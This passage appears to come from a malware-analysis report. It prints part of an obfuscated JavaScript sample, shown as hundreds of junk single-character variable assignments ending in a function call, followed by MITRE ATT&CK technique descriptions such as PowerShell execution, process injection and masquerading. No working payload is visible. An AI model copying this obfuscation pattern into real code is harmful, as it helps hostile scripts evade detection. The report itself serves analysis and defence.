368	yoxypjq = "j";
369	yoxypjq = "m";
370	yoxypjq = "r";
371	yoxypjq = "a";
372	yoxypjq = "p";
373	yoxypjq = "p";
374	yoxypjq = "D";
375	yoxypjq = "Y";
376	yoxypjq = "q";
377	yoxypjq = "G";
378	yoxypjq = "j";
379	yoxypjq = "N";
380	yoxypjq = "u";
381	yoxypjq = ":";
382	gczpb = "V";
383	gczpb = "X";
384	gczpb = "F";
385	gczpb = "h";
386	gczpb = "X";
387	gczpb = "K";
388	gczpb = "r";
389	gczpb = "t";
390	gczpb = "q";
391	gczpb = "y";
392	gczpb = "u";
393	gczpb = "s";
394	gczpb = "u";
395	gczpb = "q";
396	gczpb = "C";
397	gczpb = "W";
398	gczpb = "D";
399	gczpb = "G";
400	gczpb = "g";
401	gczpb = "q";
402	gczpb = "D";
403	gczpb = "J";
404	gczpb = "w";
405	gczpb = "S";
406	gczpb = "w";
407	gczpb = "h";
408	gczpb = "X";
409	gczpb = "g";
410	gczpb = "C";
411	gczpb = "e";
412	gczpb = "i";
413	gczpb = "Y";
414	gczpb = "P";
415	gczpb = "G";
416	gczpb = "l";
417	gczpb = "m";
418	gczpb = "J";
419	gczpb = "L";
420	gczpb = "Z";
421	gczpb = "m";
422	gczpb = "A";
423	gczpb = "@";
424	fxoci = "d";
425	fxoci = "c";
426	fxoci = "Z";
427	fxoci = "B";
428	fxoci = "Q";
429	fxoci = "i";
430	fxoci = "D";
431	fxoci = "c";
432	fxoci = "e";
433	fxoci = "V";
434	fxoci = "e";
435	fxoci = "E";
436	fxoci = "f";
437	fxoci = "f";
438	fxoci = "w";
439	fxoci = "v";
440	fxoci = "v";
441	fxoci = "m";
442	fxoci = "v";
443	fxoci = "D";
444	fxoci = "M";
445	fxoci = "d";
446	fxoci = "v";
447	fxoci = "Q";
448	fxoci = "h";
449	fxoci = "D";
450	fxoci = "x";
451	fxoci = "k";
452	kpcbjcnu = "K";
453	kpcbjcnu = "A";
454	kpcbjcnu = "I";
455	kpcbjcnu = "L";
456	kpcbjcnu = "I";
457	kpcbjcnu = "Q";
458	kpcbjcnu = "E";
459	kpcbjcnu = "s";
460	kpcbjcnu = "R";
461	kpcbjcnu = "W";
462	kpcbjcnu = "q";
463	kpcbjcnu = "s";
464	kpcbjcnu = "i";
465	kpcbjcnu = "V";
466	kpcbjcnu = "w";
467	kpcbjcnu = "s";
468	kpcbjcnu = "i";
469	kpcbjcnu = "i";
470	kpcbjcnu = "T";
471	kpcbjcnu = "i";
472	kpcbjcnu = "p";
473	kpcbjcnu = "q";
474	kpcbjcnu = "F";
475	apsaxs = "S";
476	apsaxs = "r";
477	apsaxs = "x";
478	apsaxs = "s";
479	apsaxs = "C";
480	apsaxs = "G";
481	apsaxs = "o";
482	apsaxs = "P";
483	apsaxs = "o";
484	apsaxs = "k";
485	apsaxs = "t";
486	apsaxs = "a";
487	apsaxs = "p";
488	apsaxs = "C";
489	apsaxs = "U";
490	apsaxs = "D";
491	apsaxs = "K";
492	apsaxs = "C";
493	apsaxs = "m";
494	apsaxs = "N";
495	apsaxs = "O";
496	gegrqmru = "q";
497	gegrqmru = "N";
498	gegrqmru = "P";
499	dsyrl = "v";
500	dsyrl = "H";
501	dsyrl = "f";
502	dsyrl = "X";
503	dsyrl = "l";
504	dsyrl = "u";
505	dsyrl = "c";
506	dsyrl = "N";
507	dsyrl = "g";
508	dsyrl = "W";
509	dsyrl = "O";
510	dsyrl = "w";
511	dsyrl = "J";
512	dsyrl = "s";
513	dsyrl = "q";
514	dsyrl = "T";
515	dsyrl = "y";
516	dsyrl = "O";
517	dsyrl = "t";
518	dsyrl = "f";
519	dsyrl = "d";
520	dsyrl = "F";
521	dsyrl = "F";
522	dsyrl = "g";
523	dsyrl = "v";
524	drybrfm = "X";
525	drybrfm = "J";
526	drybrfm = "f";
527	drybrfm = "D";
528	drybrfm = "N";
529	drybrfm = "X";
530	drybrfm = "P";
531	drybrfm = "O";
532	drybrfm = "z";
533	drybrfm = "P";
534	drybrfm = "P";
535	drybrfm = "M";
536	drybrfm = "t";
537	drybrfm = "i";
538	rovuyvblz = "Q";
539	rovuyvblz = "A";
540	rovuyvblz = "l";
541	rovuyvblz = "Y";
542	rovuyvblz = "r";
543	rovuyvblz = "O";
544	rovuyvblz = "T";
545	rovuyvblz = "g";
546	rovuyvblz = "O";
547	rovuyvblz = "F";
548	rovuyvblz = "E";
549	rovuyvblz = "v";
550	rovuyvblz = "w";
551	rovuyvblz = "w";
552	rovuyvblz = "T";
553	rovuyvblz = "m";
554	rovuyvblz = "s";
555	rovuyvblz = "X";
556	rovuyvblz = "d";
557	rovuyvblz = "H";
558	rovuyvblz = "B";
559	rovuyvblz = "I";
560	rovuyvblz = "S";
561	rovuyvblz = "p";
562	rovuyvblz = "u";
563	rovuyvblz = "o";
564	rovuyvblz = "g";
565	rovuyvblz = "j";
566	rovuyvblz = "q";
567	rovuyvblz = "N";
568	rovuyvblz = "B";
569	rovuyvblz = "P";
570	rovuyvblz = "n";
571	rovuyvblz = "K";
572	rovuyvblz = "A";
573	rovuyvblz = "T";
574	rovuyvblz = "w";
575	rovuyvblz = "P";
576	rovuyvblz = "L";
577	rovuyvblz = "a";
578	rovuyvblz = "9";
579	irdhllif = "n";
580	irdhllif = "B";
581	irdhllif = "f";
582	irdhllif = "i";
583	irdhllif = "f";
584	irdhllif = "Y";
585	irdhllif = "g";
586	irdhllif = "z";
587	irdhllif = "M";
588	irdhllif = "U";
589	irdhllif = "C";
590	irdhllif = "o";
591	irdhllif = "b";
592	irdhllif = "p";
593	irdhllif = "Y";
594	irdhllif = "B";
595	irdhllif = "B";
596	irdhllif = "C";
597	irdhllif = "o";
598	irdhllif = "t";
599	irdhllif = "g";
600	irdhllif = "l";
601	irdhllif = "d";
602	irdhllif = "G";
603	irdhllif = "Y";
604	irdhllif = "V";
605	irdhllif = "N";
606	irdhllif = "B";
607	irdhllif = "P";
608	irdhllif = "J";
609	irdhllif = "h";
610	irdhllif = "_";
611	acyqvnk = "z";
612	acyqvnk = "w";
613	acyqvnk = "y";
614	acyqvnk = "g";
615	acyqvnk = "m";
616	acyqvnk = "e";
617	acyqvnk = "D";
618	acyqvnk = "S";
619	acyqvnk = "u";
620	acyqvnk = "b";
621	acyqvnk = "V";
622	acyqvnk = "O";
623	acyqvnk = "f";
624	acyqvnk = "x";
625	jlxuxg = "A";
626	jlxuxg = "e";
627	jlxuxg = "g";
628	jlxuxg = "J";
629	jlxuxg = "Z";
630	jlxuxg = "G";
631	jlxuxg = "W";
632	jlxuxg = "x";
633	jlxuxg = "t";
634	jlxuxg = "g";
635	jlxuxg = "D";
636	jlxuxg = "a";
637	jlxuxg = "s";
638	jlxuxg = "a";
639	jlxuxg = "G";
640	jlxuxg = "u";
641	jlxuxg = "s";
642	jlxuxg = "t";
643	jlxuxg = "s";
644	jlxuxg = "a";
645	jlxuxg = "l";
646	jlxuxg = "d";
647	jlxuxg = "O";
648	jlxuxg = "F";
649	jlxuxg = "T";
650	jlxuxg = "n";
651	jlxuxg = "q";
652	jlxuxg = "V";
653	jlxuxg = "z";
654	jlxuxg = "a";
655	jlxuxg = "f";
656	jlxuxg = "n";
657	jlxuxg = "P";
658	jlxuxg = "K";
659	jlxuxg = "j";
660	jlxuxg = "A";
661	jlxuxg = "E";
662	jlxuxg = "s";
663	jlxuxg = "c";
664	jlxuxg = "D";
665	jlxuxg = "s";
666	jlxuxg = "M";
667	jlxuxg = "B";
668	jlxuxg = "c";
669	okeqthsus = "K";
670	okeqthsus = "g";
671	okeqthsus = "h";
672	okeqthsus = "c";
673	okeqthsus = "D";
674	okeqthsus = "j";
675	okeqthsus = "N";
676	okeqthsus = "I";
677	okeqthsus = "m";
678	okeqthsus = "D";
679	okeqthsus = "B";
680	okeqthsus = "t";
681	okeqthsus = "K";
682	okeqthsus = "P";
683	okeqthsus = "Q";
684	okeqthsus = "D";
685	okeqthsus = "C";
686	okeqthsus = "I";
687	okeqthsus = "Y";
688	okeqthsus = "w";
689	okeqthsus = "R";
690	okeqthsus = "k";
691	okeqthsus = "r";
692	okeqthsus = "l";
693	okeqthsus = "d";
694	okeqthsus = "g";
695	okeqthsus = "q";
696	okeqthsus = "a";
697	okeqthsus = "P";
698	okeqthsus = "I";
699	okeqthsus = "w";
700	okeqthsus = "Q";
701	kfsqvz = "C";
702	kfsqvz = "n";
703	kfsqvz = "u";
704	kfsqvz = "k";
705	kfsqvz = "B";
706	kfsqvz = "r";
707	kfsqvz = "U";
708	kfsqvz = "y";
709	kfsqvz = "i";
710	kfsqvz = "A";
711	kfsqvz = "B";
712	kfsqvz = "f";
713	kfsqvz = "x";
714	kfsqvz = "l";
715	kfsqvz = "w";
716	cppzgcxkr = "L";
717	cppzgcxkr = "r";
718	cppzgcxkr = "B";
719	cppzgcxkr = "f";
720	cppzgcxkr = "W";
721	cppzgcxkr = "o";
722	cppzgcxkr = "Q";
723	cppzgcxkr = "W";
724	cppzgcxkr = "m";
725	cppzgcxkr = "H";
726	cppzgcxkr = "T";
727	cppzgcxkr = "R";
728	cppzgcxkr = "Y";
729	cppzgcxkr = "N";
730	cppzgcxkr = "Z";
731	cppzgcxkr = "E";
732	cppzgcxkr = "r";
733	cppzgcxkr = "I";
734	cppzgcxkr = "G";
735	cppzgcxkr = "m";
736	vzokm = "R";
737	vzokm = "i";
738	vzokm = "8";
739	tudoqcaxw = "J";
740	tudoqcaxw = "W";
741	tudoqcaxw = "G";
742	tudoqcaxw = "a";
743	tudoqcaxw = "O";
744	tudoqcaxw = "u";
745	wkdqeyxub = "W";
746	wkdqeyxub = "j";
747	wkdqeyxub = "F";
748	wkdqeyxub = "C";
749	wkdqeyxub = "d";
750	wkdqeyxub = "V";
751	wkdqeyxub = "z";
752	wkdqeyxub = "O";
753	wkdqeyxub = "C";
754	wkdqeyxub = "o";
755	wkdqeyxub = "r";
756	wkdqeyxub = "k";
757	wkdqeyxub = "w";
758	wkdqeyxub = "i";
759	wkdqeyxub = "Z";
760	wkdqeyxub = "z";
761	wkdqeyxub = "j";
762	wkdqeyxub = "Z";
763	wkdqeyxub = "e";
764	wkdqeyxub = "o";
765	dycfmvhsv = "X";
766	dycfmvhsv = "n";
767	dycfmvhsv = "c";
768	dycfmvhsv = "A";
769	dycfmvhsv = "v";
770	dycfmvhsv = "m";
771	dycfmvhsv = "M";
772	dycfmvhsv = "j";
773	dycfmvhsv = "t";
774	dycfmvhsv = "a";
775	dycfmvhsv = "r";
776	dycfmvhsv = "U";
777	dycfmvhsv = "T";
778	dycfmvhsv = "y";
779	dycfmvhsv = "H";
780	dycfmvhsv = "E";
781	dycfmvhsv = "L";
782	dycfmvhsv = "l";
783	dycfmvhsv = "F";
784	dycfmvhsv = "z";
785	dycfmvhsv = "r";
786	dycfmvhsv = "a";
787	dycfmvhsv = "o";
788	dycfmvhsv = "U";
789	dycfmvhsv = "P";
790	dycfmvhsv = "J";
791	dycfmvhsv = "g";
792	dycfmvhsv = "o";
793	dycfmvhsv = "h";
794	dycfmvhsv = "i";
795	dycfmvhsv = "o";
796	dycfmvhsv = "U";
797	dycfmvhsv = "R";
798	dycfmvhsv = "E";
799	dycfmvhsv = "W";
800	dycfmvhsv = "D";
801	dycfmvhsv = "s";
802	dycfmvhsv = "T";
803	dycfmvhsv = "L";
804	dycfmvhsv = "V";
805	dycfmvhsv = "j";
806	dycfmvhsv = "l";
807	dycfmvhsv = "T";
808	xuptg = "W";
809	xuptg = "m";
810	xuptg = "J";
811	xuptg = "g";
812	xuptg = "F";
813	xuptg = "T";
814	xuptg = "G";
815	xuptg = "M";
816	xuptg = "H";
817	xuptg = "-";
818	oagiuqr = "m";
819	oagiuqr = "y";
820	oagiuqr = "r";
821	oagiuqr = "l";
822	oagiuqr = "T";
823	oagiuqr = "w";
824	oagiuqr = "f";
825	pqbflrh = "d";
826	pqbflrh = "q";
827	pqbflrh = "y";
828	pqbflrh = "H";
829	pqbflrh = "B";
830	pqbflrh = "G";
831	pqbflrh = "P";
832	pqbflrh = "l";
833	pqbflrh = "R";
834	pqbflrh = "F";
835	pqbflrh = "d";
836	pqbflrh = "I";
837	pqbflrh = "y";
838	pqbflrh = "y";
839	pqbflrh = "e";
840	pqbflrh = "y";
841	pqbflrh = "f";
842	pqbflrh = "B";
843	pqbflrh = "z";
844	pqbflrh = "J";
845	pqbflrh = "I";
846	pqbflrh = "E";
847	pqbflrh = "z";
848	pqbflrh = "l";
849	pqbflrh = "m";
850	pqbflrh = "q";
851	pqbflrh = "r";
852	pqbflrh = "a";
853	pqbflrh = "X";
854	pqbflrh = "d";
855	pqbflrh = "a";
856	pqbflrh = "a";
857	pqbflrh = "Y";
858	pqbflrh = "g";
859	pqbflrh = "x";
860	pqbflrh = "I";
861	pqbflrh = "Y";
862	pqbflrh = "5";
863	kdrfv = "f";
864	kdrfv = "i";
865	kdrfv = "X";
866	kdrfv = "b";
867	kdrfv = "V";
868	kdrfv = "t";
869	kdrfv = "n";
870	kdrfv = "h";
871	kdrfv = "B";
872	kdrfv = "C";
873	kdrfv = "j";
874	kdrfv = "c";
875	kdrfv = "y";
876	kdrfv = "h";
877	kdrfv = "A";
878	kdrfv = "W";
879	kdrfv = "e";
880	kdrfv = "n";
881	kdrfv = "H";
882	kdrfv = "t";
883	kdrfv = "x";
884	kdrfv = "f";
885	kdrfv = "d";
886	kdrfv = "N";
887	kdrfv = "C";
888	jadomw = "v";
889	jadomw = "a";
890	jadomw = "I";
891	jadomw = "P";
892	jadomw = "g";
893	jadomw = "T";
894	jadomw = "h";
895	jadomw = "Z";
896	jadomw = "r";
897	jadomw = "M";
898	jadomw = "r";
899	jadomw = "E";
900	jadomw = "h";
901	jadomw = "G";
902	jadomw = "b";
903	jadomw = "M";
904	jadomw = "z";
905	jadomw = "h";
906	jadomw = "v";
907	jadomw = "T";
908	jadomw = "H";
909	jadomw = "f";
910	jadomw = "g";
911	jadomw = "N";
912	jadomw = "u";
913	jadomw = "G";
914	jadomw = "J";
915	jadomw = "B";
916	jadomw = "j";
917	jadomw = "w";
918	jadomw = "O";
919	jadomw = "1";
920	oeuht = "Z";
921	oeuht = "j";
922	oeuht = "I";
923	oeuht = "W";
924	oeuht = "d";
925	oeuht = "I";
926	oeuht = "\"";
927	bplnshcv = "s";
928	bplnshcv = "B";
929	bplnshcv = "L";
930	bplnshcv = "Q";
931	bplnshcv = "K";
932	bplnshcv = "w";
933	bplnshcv = "J";
934	bplnshcv = "L";
935	bplnshcv = "Z";
936	bplnshcv = "U";
937	bplnshcv = "a";
938	bplnshcv = "A";
939	bplnshcv = "R";
940	bplnshcv = "A";
941	bplnshcv = "s";
942	bplnshcv = "x";
943	bplnshcv = "m";
944	bplnshcv = "J";
945	bplnshcv = "z";
946	bplnshcv = "u";
947	bplnshcv = "k";
948	bplnshcv = "j";
949	bplnshcv = "R";
950	bplnshcv = "T";
951	bplnshcv = "P";
952	bplnshcv = "b";
953	bplnshcv = "v";
954	bplnshcv = "o";
955	bplnshcv = "V";
956	bplnshcv = "U";
957	bplnshcv = "b";
958	utjdkn = "S";
959	utjdkn = "N";
960	cjyoaks = "A";
961	cjyoaks = "b";
962	cjyoaks = "n";
963	cjyoaks = "S";
964	cjyoaks = "b";
965	cjyoaks = "f";
966	cjyoaks = "V";
967	cjyoaks = "E";
968	cjyoaks = "K";
969	cjyoaks = "A";
970	cjyoaks = "M";
971	cjyoaks = "h";
972	cjyoaks = "N";
973	cjyoaks = "Z";
974	cjyoaks = "j";
975	cjyoaks = "s";
976	cjyoaks = "a";
977	cjyoaks = "n";
978	cjyoaks = "v";
979	cjyoaks = "/";
980	gczxhk = "Z";
981	gczxhk = "m";
982	gczxhk = "R";
983	gczxhk = "S";
984	divdwb = "O";
985	divdwb = "g";
986	divdwb = "b";
987	divdwb = "Y";
988	divdwb = "b";
989	divdwb = "G";
990	divdwb = "Z";
991	divdwb = "P";
992	divdwb = "B";
993	divdwb = "s";
994	divdwb = "G";
995	divdwb = "g";
996	divdwb = "T";
997	divdwb = "O";
998	divdwb = "m";
999	divdwb = "N";
1000	divdwb = "B";
1001	divdwb = "b";
1002	divdwb = "J";
1003	divdwb = "j";
1004	divdwb = "b";
1005	divdwb = "J";
1006	divdwb = "M";
1007	divdwb = "p";
1008	divdwb = "m";
1009	divdwb = "K";
1010	divdwb = "j";
1011	divdwb = "i";
1012	divdwb = "v";
1013	divdwb = "E";
1014	divdwb = "v";
1015	divdwb = "E";
1016	divdwb = "U";
1017	divdwb = "G";
1018	divdwb = "L";
1019	divdwb = "J";
1020	divdwb = "c";
1021	divdwb = "c";
1022	divdwb = "i";
1023	divdwb = "t";
1024	divdwb = "k";
1025	divdwb = "a";
1026	thpoz = "v";
1027	thpoz = "O";
1028	thpoz = "L";
1029	thpoz = "q";
1030	thpoz = "Q";
1031	thpoz = "W";
1032	thpoz = "y";
1033	thpoz = "A";
1034	thpoz = "L";
1035	thpoz = "m";
1036	thpoz = "E";
1037	thpoz = "a";
1038	thpoz = "h";
1039	thpoz = "v";
1040	thpoz = "J";
1041	thpoz = "T";
1042	thpoz = "D";
1043	thpoz = "Z";
1044	thpoz = "N";
1045	thpoz = "Y";
1046	thpoz = "g";
1047	thpoz = "F";
1048	thpoz = "T";
1049	thpoz = "h";
1050	thpoz = "l";
1051	thpoz = "R";
1052	zjqzvxmhn = "y";
1053	zjqzvxmhn = "R";
1054	zjqzvxmhn = "J";
1055	zjqzvxmhn = "w";
1056	zjqzvxmhn = "A";
1057	zjqzvxmhn = "p";
1058	zjqzvxmhn = "z";
1059	zjqzvxmhn = "X";
1060	zjqzvxmhn = "e";
1061	zjqzvxmhn = "m";
1062	zjqzvxmhn = "c";
1063	zjqzvxmhn = "d";
1064	zjqzvxmhn = "G";
1065	zjqzvxmhn = "b";
1066	zjqzvxmhn = "N";
1067	zjqzvxmhn = "T";
1068	zjqzvxmhn = "t";
1069	zjqzvxmhn = "h";
1070	zjqzvxmhn = "F";
1071	zjqzvxmhn = "J";
1072	zjqzvxmhn = " ";
1073	jytxtk = "A";
1074	jytxtk = "G";
1075	jytxtk = ".";
1076	hdphvs = "B";
1077	hdphvs = "B";
1078	hdphvs = "c";
1079	hdphvs = "V";
1080	hdphvs = "v";
1081	hdphvs = "Z";
1082	hdphvs = "l";
1083	hdphvs = "F";
1084	hdphvs = "m";
1085	hdphvs = "U";
1086	hdphvs = "H";
1087	hdphvs = "T";
1088	hdphvs = "D";
1089	hdphvs = "%";
1090	uztti = "K";
1091	uztti = "C";
1092	uztti = "W";
1093	uztti = "q";
1094	uztti = "E";
1095	uztti = "C";
1096	uztti = "e";
1097	uztti = "p";
1098	uztti = "O";
1099	uztti = "n";
1100	uztti = "c";
1101	uztti = "a";
1102	uztti = "f";
1103	uztti = "Z";
1104	uztti = "x";
1105	uztti = "j";
1106	uztti = "B";
1107	uztti = "y";
1108	uztti = "h";
1109	uztti = "I";
1110	uztti = "J";
1111	uztti = "j";
1112	pzprstmq = "W";
1113	pzprstmq = "S";
1114	pzprstmq = "j";
1115	pzprstmq = "j";
1116	pzprstmq = "P";
1117	pzprstmq = "h";
1118	pzprstmq = "U";
1119	pzprstmq = "t";
1120	pzprstmq = "r";
1121	pzprstmq = "Q";
1122	pzprstmq = "Q";
1123	pzprstmq = "V";
1124	pzprstmq = "b";
1125	pzprstmq = "D";
1126	pzprstmq = "p";
1127	pzprstmq = "m";
1128	pzprstmq = "V";
1129	pzprstmq = "s";
1130	pzprstmq = "n";
1131	xscjbk = "U";
1132	xscjbk = "x";
1133	xscjbk = "e";
1134	xscjbk = "n";
1135	xscjbk = "e";
1136	xscjbk = "K";
1137	xscjbk = "V";
1138	xscjbk = "u";
1139	xscjbk = "h";
1140	xscjbk = "b";
1141	xscjbk = "f";
1142	xscjbk = "Y";
1143	xscjbk = "S";
1144	xscjbk = "h";
1145	xscjbk = "h";
1146	xscjbk = "U";
1147	xscjbk = "r";
1148	xscjbk = "u";
1149	xscjbk = "e";
1150	xscjbk = "T";
1151	xscjbk = "F";
1152	xscjbk = "R";
1153	xscjbk = "P";
1154	xscjbk = "k";
1155	xscjbk = "C";
1156	xscjbk = "N";
1157	xscjbk = "Y";
1158	jkuwy = "H";
1159	jkuwy = "C";
1160	jkuwy = "x";
1161	jkuwy = "F";
1162	jkuwy = "N";
1163	jkuwy = "D";
1164	jkuwy = "S";
1165	jkuwy = "b";
1166	jkuwy = "H";
1167	jkuwy = "x";
1168	jkuwy = "w";
1169	jkuwy = "R";
1170	jkuwy = "W";
1171	bbditg = "I";
1172	bbditg = "M";
1173	bbditg = "j";
1174	bbditg = "u";
1175	bbditg = "k";
1176	bbditg = "x";
1177	bbditg = "G";
1178	bbditg = "p";
1179	bbditg = "b";
1180	bbditg = "g";
1181	xxnputj = "y";
1182	xxnputj = "K";
1183	xxnputj = "h";
1184	xxnputj = "x";
1185	xxnputj = "h";
1186	xxnputj = "F";
1187	xxnputj = "h";
1188	xxnputj = "I";
1189	xxnputj = "z";
1190	xxnputj = "U";
1191	xxnputj = "C";
1192	xxnputj = "k";
1193	xxnputj = "g";
1194	xxnputj = "B";
1195	xxnputj = "V";
1196	xxnputj = "S";
1197	xxnputj = "C";
1198	xxnputj = "t";
1199	xxnputj = "v";
1200	xxnputj = "g";
1201	xxnputj = "P";
1202	xxnputj = "M";
1203	xxnputj = "h";
1204	xxnputj = "T";
1205	xxnputj = "U";
1206	xxnputj = "A";
1207	xxnputj = "J";
1208	xxnputj = "M";
1209	xxnputj = "j";
1210	xxnputj = "v";
1211	xxnputj = "o";
1212	xxnputj = "M";
1213	xxnputj = "G";
1214	xxnputj = "u";
1215	xxnputj = "D";
1216	xxnputj = "O";
1217	xxnputj = "p";
1218	dsfaz = "s";
1219	dsfaz = "J";
1220	dsfaz = "j";
1221	dsfaz = "l";
1222	dsfaz = "V";
1223	dsfaz = "y";
1224	dsfaz = "l";
1225	dsfaz = "o";
1226	dsfaz = "a";
1227	dsfaz = "V";
1228	dsfaz = "b";
1229	dsfaz = "N";
1230	dsfaz = "G";
1231	dsfaz = "c";
1232	dsfaz = "M";
1233	dsfaz = "z";
1234	dsfaz = "r";
1235	dsfaz = "C";
1236	dsfaz = "o";
1237	dsfaz = "o";
1238	dsfaz = "M";
1239	dsfaz = "Y";
1240	dsfaz = "O";
1241	dsfaz = "E";
1242	mxcgwi = "T";
1243	mxcgwi = "A";
1244	mxcgwi = "B";
1245	mxcgwi = "N";
1246	mxcgwi = "X";
1247	mxcgwi = "j";
1248	mxcgwi = "\\";
1249	qenlbd = "f";
1250	qenlbd = "L";
1251	qenlbd = "q";
1252	jrpfoqvgs = "t";
1253	jrpfoqvgs = "O";
1254	jrpfoqvgs = "b";
1255	jrpfoqvgs = "w";
1256	jrpfoqvgs = "c";
1257	jrpfoqvgs = "u";
1258	jrpfoqvgs = "q";
1259	jrpfoqvgs = "U";
1260	jrpfoqvgs = "D";
1261	jrpfoqvgs = "X";
1262	jrpfoqvgs = "x";
1263	jrpfoqvgs = "u";
1264	jrpfoqvgs = "w";
1265	jrpfoqvgs = "p";
1266	jrpfoqvgs = "j";
1267	jrpfoqvgs = "d";
1268	jrpfoqvgs = "m";
1269	jrpfoqvgs = "l";
1270	jrpfoqvgs = "D";
1271	jrpfoqvgs = "L";
1272	jrpfoqvgs = "F";
1273	jrpfoqvgs = "T";
1274	jrpfoqvgs = "j";
1275	jrpfoqvgs = "V";
1276	jrpfoqvgs = "n";
1277	jrpfoqvgs = "o";
1278	jrpfoqvgs = "O";
1279	jrpfoqvgs = "u";
1280	jrpfoqvgs = "U";
1281	jrpfoqvgs = "H";
1282	jrpfoqvgs = "v";
1283	jrpfoqvgs = "P";
1284	jrpfoqvgs = "n";
1285	jrpfoqvgs = "r";
1286	zwfkw = "E";
1287	zwfkw = "B";
1288	zwfkw = "M";
1289	zwfkw = "h";
1290	zwfkw = "T";
1291	zwfkw = "v";
1292	zwfkw = "i";
1293	zwfkw = "r";
1294	zwfkw = "j";
1295	zwfkw = "p";
1296	zwfkw = "o";
1297	zwfkw = "G";
1298	zwfkw = "H";
1299	zwfkw = "w";
1300	zwfkw = "w";
1301	zwfkw = "u";
1302	zwfkw = "j";
1303	zwfkw = "k";
1304	zwfkw = "a";
1305	zwfkw = "h";
1306	zwfkw = "g";
1307	zwfkw = "B";
1308	zwfkw = "n";
1309	zwfkw = "l";
1310	zwfkw = "L";
1311	zwfkw = "X";
1312	zwfkw = "b";
1313	zwfkw = "n";
1314	zwfkw = "A";
1315	zwfkw = "O";
1316	zwfkw = "i";
1317	zwfkw = "I";
1318	zwfkw = "e";
1319	sgocbq = "L";
1320	sgocbq = "Y";
1321	sgocbq = "f";
1322	sgocbq = "z";
1323	sgocbq = "t";
1324	sgocbq = "c";
1325	sgocbq = "y";
1326	sgocbq = "Q";
1327	sgocbq = "A";
1328	sgocbq = "C";
1329	sgocbq = "r";
1330	sgocbq = "x";
1331	sgocbq = "P";
1332	sgocbq = "w";
1333	sgocbq = "K";
1334	sgocbq = "K";
1335	sgocbq = "P";
1336	sgocbq = "r";
1337	sgocbq = "d";
1338	sgocbq = "w";
1339	sgocbq = "d";
1340	sgocbq = "y";
1341	sgocbq = "f";
1342	sgocbq = "b";
1343	sgocbq = "h";
1344	sgocbq = "&";
1345	xzblhub = "I";
1346	xzblhub = "x";
1347	xzblhub = "E";
1348	xzblhub = "L";
1349	xzblhub = "f";
1350	xzblhub = "b";
1351	xzblhub = "F";
1352	xzblhub = "s";
1353	xzblhub = "j";
1354	xzblhub = "V";
1355	xzblhub = "w";
1356	xzblhub = "l";
1357	xzblhub = "R";
1358	xzblhub = "p";
1359	xzblhub = "B";
1360	xzblhub = "q";
1361	xzblhub = "u";
1362	xzblhub = "f";
1363	xzblhub = "s";
1364	xzblhub = "m";
1365	xzblhub = "X";
1366	xzblhub = "E";
1367	xzblhub = "H";
1368	fiqgcwiq ( );	fiqgcwiq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

